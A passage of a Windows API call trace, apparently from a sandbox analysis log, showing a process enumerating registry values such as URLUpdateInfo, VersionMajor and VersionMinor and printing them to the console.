cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.301] GetConsoleOutputCP () returned 0x1b5 [0151.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.301] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.301] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.301] __iob_func () returned 0x7fefd702a80 [0151.301] _fileno (_File=0x7fefd702ab0) returned 1 [0151.301] _errno () returned 0x204bb0 [0151.301] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.301] _errno () returned 0x204bb0 [0151.301] GetFileType (hFile=0x50) returned 0x1 [0151.301] lstrlenW (lpString="") returned 0 [0151.301] __iob_func () returned 0x7fefd702a80 [0151.301] _fileno (_File=0x7fefd702ab0) returned 1 [0151.301] _errno () returned 0x204bb0 [0151.301] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.301] _errno () returned 0x204bb0 [0151.301] GetFileType (hFile=0x50) returned 0x1 [0151.301] lstrlenW (lpString="\n") returned 1 [0151.301] GetConsoleOutputCP () returned 0x1b5 [0151.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.301] GetConsoleOutputCP () returned 0x1b5 [0151.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.301] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.301] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.301] GetProcessHeap () returned 0x3c0000 [0151.302] GetProcessHeap () returned 0x3c0000 [0151.302] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.302] GetProcessHeap () returned 0x3c0000 [0151.302] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.302] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.302] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.302] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.302] GetProcessHeap () returned 0x3c0000 [0151.302] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.302] GetProcessHeap () returned 0x3c0000 [0151.302] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.302] GetProcessHeap () returned 0x3c0000 [0151.302] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.302] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.302] __iob_func () returned 0x7fefd702a80 [0151.302] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.302] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.302] _fileno (_File=0x7fefd702ab0) returned 1 [0151.302] _errno () returned 0x204bb0 [0151.302] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.302] _errno () returned 0x204bb0 [0151.302] GetFileType (hFile=0x50) returned 0x1 [0151.302] lstrlenW (lpString=" ") returned 4 [0151.302] GetConsoleOutputCP () returned 0x1b5 [0151.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.302] GetConsoleOutputCP () returned 0x1b5 [0151.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.302] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.302] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.303] lstrlenW (lpString="URLUpdateInfo") returned 13 [0151.303] __iob_func () returned 0x7fefd702a80 [0151.303] _fileno (_File=0x7fefd702ab0) returned 1 [0151.303] _errno () returned 0x204bb0 [0151.303] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.303] _errno () returned 0x204bb0 [0151.303] GetFileType (hFile=0x50) returned 0x1 [0151.303] lstrlenW (lpString="URLUpdateInfo") returned 13 [0151.303] GetConsoleOutputCP () returned 0x1b5 [0151.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.303] GetConsoleOutputCP () returned 0x1b5 [0151.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0151.303] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.303] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.303] __iob_func () returned 0x7fefd702a80 [0151.303] _fileno (_File=0x7fefd702ab0) returned 1 [0151.303] _errno () returned 0x204bb0 [0151.303] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.303] _errno () returned 0x204bb0 [0151.303] GetFileType (hFile=0x50) returned 0x1 [0151.303] lstrlenW (lpString=" ") returned 4 [0151.303] GetConsoleOutputCP () returned 0x1b5 [0151.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.303] GetConsoleOutputCP () returned 0x1b5 [0151.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.304] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.304] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.304] __iob_func () returned 0x7fefd702a80 [0151.304] _fileno (_File=0x7fefd702ab0) returned 1 [0151.304] _errno () returned 0x204bb0 [0151.304] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.304] _errno () returned 0x204bb0 [0151.304] GetFileType (hFile=0x50) returned 0x1 [0151.304] lstrlenW (lpString="REG_SZ") returned 6 [0151.304] GetConsoleOutputCP () returned 0x1b5 [0151.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.304] GetConsoleOutputCP () returned 0x1b5 [0151.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.304] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.304] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.304] __iob_func () returned 0x7fefd702a80 [0151.304] _fileno (_File=0x7fefd702ab0) returned 1 [0151.304] _errno () returned 0x204bb0 [0151.304] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.304] _errno () returned 0x204bb0 [0151.304] GetFileType (hFile=0x50) returned 0x1 [0151.304] lstrlenW (lpString=" ") returned 4 [0151.304] GetConsoleOutputCP () returned 0x1b5 [0151.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.305] GetConsoleOutputCP () returned 0x1b5 [0151.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.305] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.305] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.305] __iob_func () returned 0x7fefd702a80 [0151.305] _fileno (_File=0x7fefd702ab0) returned 1 [0151.305] _errno () returned 0x204bb0 [0151.305] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.305] _errno () returned 0x204bb0 [0151.305] GetFileType (hFile=0x50) returned 0x1 [0151.305] lstrlenW (lpString="") returned 0 [0151.305] __iob_func () returned 0x7fefd702a80 [0151.305] _fileno (_File=0x7fefd702ab0) returned 1 [0151.305] _errno () returned 0x204bb0 [0151.305] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.305] _errno () returned 0x204bb0 [0151.305] GetFileType (hFile=0x50) returned 0x1 [0151.305] lstrlenW (lpString="\n") returned 1 [0151.305] GetConsoleOutputCP () returned 0x1b5 [0151.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.305] GetConsoleOutputCP () returned 0x1b5 [0151.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.305] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.305] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.306] GetProcessHeap () returned 0x3c0000 [0151.306] GetProcessHeap () returned 0x3c0000 [0151.306] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.306] GetProcessHeap () returned 0x3c0000 [0151.306] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.306] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.306] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.306] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.306] GetProcessHeap () returned 0x3c0000 [0151.306] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.306] GetProcessHeap () returned 0x3c0000 [0151.306] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.306] GetProcessHeap () returned 0x3c0000 [0151.306] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.306] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xc, pcbData=0x29f780*=0x4) returned 0x0 [0151.306] __iob_func () returned 0x7fefd702a80 [0151.306] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.306] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.306] _fileno (_File=0x7fefd702ab0) returned 1 [0151.306] _errno () returned 0x204bb0 [0151.306] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.306] _errno () returned 0x204bb0 [0151.306] GetFileType (hFile=0x50) returned 0x1 [0151.306] lstrlenW (lpString=" ") returned 4 [0151.306] GetConsoleOutputCP () returned 0x1b5 [0151.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.306] GetConsoleOutputCP () returned 0x1b5 [0151.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.307] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.307] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.307] lstrlenW (lpString="VersionMajor") returned 12 [0151.307] __iob_func () returned 0x7fefd702a80 [0151.307] _fileno (_File=0x7fefd702ab0) returned 1 [0151.307] _errno () returned 0x204bb0 [0151.307] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.307] _errno () returned 0x204bb0 [0151.307] GetFileType (hFile=0x50) returned 0x1 [0151.307] lstrlenW (lpString="VersionMajor") returned 12 [0151.307] GetConsoleOutputCP () returned 0x1b5 [0151.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.307] GetConsoleOutputCP () returned 0x1b5 [0151.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0151.307] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0151.307] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.307] __iob_func () returned 0x7fefd702a80 [0151.307] _fileno (_File=0x7fefd702ab0) returned 1 [0151.307] _errno () returned 0x204bb0 [0151.307] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.307] _errno () returned 0x204bb0 [0151.307] GetFileType (hFile=0x50) returned 0x1 [0151.307] lstrlenW (lpString=" ") returned 4 [0151.307] GetConsoleOutputCP () returned 0x1b5 [0151.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.308] GetConsoleOutputCP () returned 0x1b5 [0151.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.308] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.308] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.308] __iob_func () returned 0x7fefd702a80 [0151.308] _fileno (_File=0x7fefd702ab0) returned 1 [0151.308] _errno () returned 0x204bb0 [0151.308] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.308] _errno () returned 0x204bb0 [0151.308] GetFileType (hFile=0x50) returned 0x1 [0151.308] lstrlenW (lpString="REG_DWORD") returned 9 [0151.308] GetConsoleOutputCP () returned 0x1b5 [0151.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.308] GetConsoleOutputCP () returned 0x1b5 [0151.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.308] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.308] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.308] __iob_func () returned 0x7fefd702a80 [0151.308] _fileno (_File=0x7fefd702ab0) returned 1 [0151.308] _errno () returned 0x204bb0 [0151.308] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.308] _errno () returned 0x204bb0 [0151.308] GetFileType (hFile=0x50) returned 0x1 [0151.308] lstrlenW (lpString=" ") returned 4 [0151.309] GetConsoleOutputCP () returned 0x1b5 [0151.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.309] GetConsoleOutputCP () returned 0x1b5 [0151.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.309] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.309] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.309] __iob_func () returned 0x7fefd702a80 [0151.309] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.309] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xc") returned 3 [0151.309] _fileno (_File=0x7fefd702ab0) returned 1 [0151.309] _errno () returned 0x204bb0 [0151.309] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.309] _errno () returned 0x204bb0 [0151.309] GetFileType (hFile=0x50) returned 0x1 [0151.309] lstrlenW (lpString="0xc") returned 3 [0151.309] GetConsoleOutputCP () returned 0x1b5 [0151.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.309] GetConsoleOutputCP () returned 0x1b5 [0151.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xc", lpUsedDefaultChar=0x0) returned 3 [0151.309] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.309] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.310] __iob_func () returned 0x7fefd702a80 [0151.310] _fileno (_File=0x7fefd702ab0) returned 1 [0151.310] _errno () returned 0x204bb0 [0151.310] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.310] _errno () returned 0x204bb0 [0151.310] GetFileType (hFile=0x50) returned 0x1 [0151.310] lstrlenW (lpString="\n") returned 1 [0151.310] GetConsoleOutputCP () returned 0x1b5 [0151.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.310] GetConsoleOutputCP () returned 0x1b5 [0151.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.310] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.310] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.310] GetProcessHeap () returned 0x3c0000 [0151.310] GetProcessHeap () returned 0x3c0000 [0151.310] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.310] GetProcessHeap () returned 0x3c0000 [0151.310] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.310] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.310] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.310] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.310] GetProcessHeap () returned 0x3c0000 [0151.310] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.310] GetProcessHeap () returned 0x3c0000 [0151.310] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.310] GetProcessHeap () returned 0x3c0000 [0151.310] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.310] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.310] __iob_func () returned 0x7fefd702a80 [0151.311] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.311] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.311] _fileno (_File=0x7fefd702ab0) returned 1 [0151.311] _errno () returned 0x204bb0 [0151.311] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.311] _errno () returned 0x204bb0 [0151.311] GetFileType (hFile=0x50) returned 0x1 [0151.311] lstrlenW (lpString=" ") returned 4 [0151.311] GetConsoleOutputCP () returned 0x1b5 [0151.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.311] GetConsoleOutputCP () returned 0x1b5 [0151.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.311] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.311] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.311] lstrlenW (lpString="VersionMinor") returned 12 [0151.311] __iob_func () returned 0x7fefd702a80 [0151.311] _fileno (_File=0x7fefd702ab0) returned 1 [0151.311] _errno () returned 0x204bb0 [0151.311] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.311] _errno () returned 0x204bb0 [0151.311] GetFileType (hFile=0x50) returned 0x1 [0151.311] lstrlenW (lpString="VersionMinor") returned 12 [0151.311] GetConsoleOutputCP () returned 0x1b5 [0151.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.311] GetConsoleOutputCP () returned 0x1b5 [0151.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0151.312] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0151.312] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.312] __iob_func () returned 0x7fefd702a80 [0151.312] _fileno (_File=0x7fefd702ab0) returned 1 [0151.312] _errno () returned 0x204bb0 [0151.312] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.312] _errno () returned 0x204bb0 [0151.312] GetFileType (hFile=0x50) returned 0x1 [0151.312] lstrlenW (lpString=" ") returned 4 [0151.312] GetConsoleOutputCP () returned 0x1b5 [0151.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.312] GetConsoleOutputCP () returned 0x1b5 [0151.313] WideCharToMultiByte (in: CodePage=0x1b5, 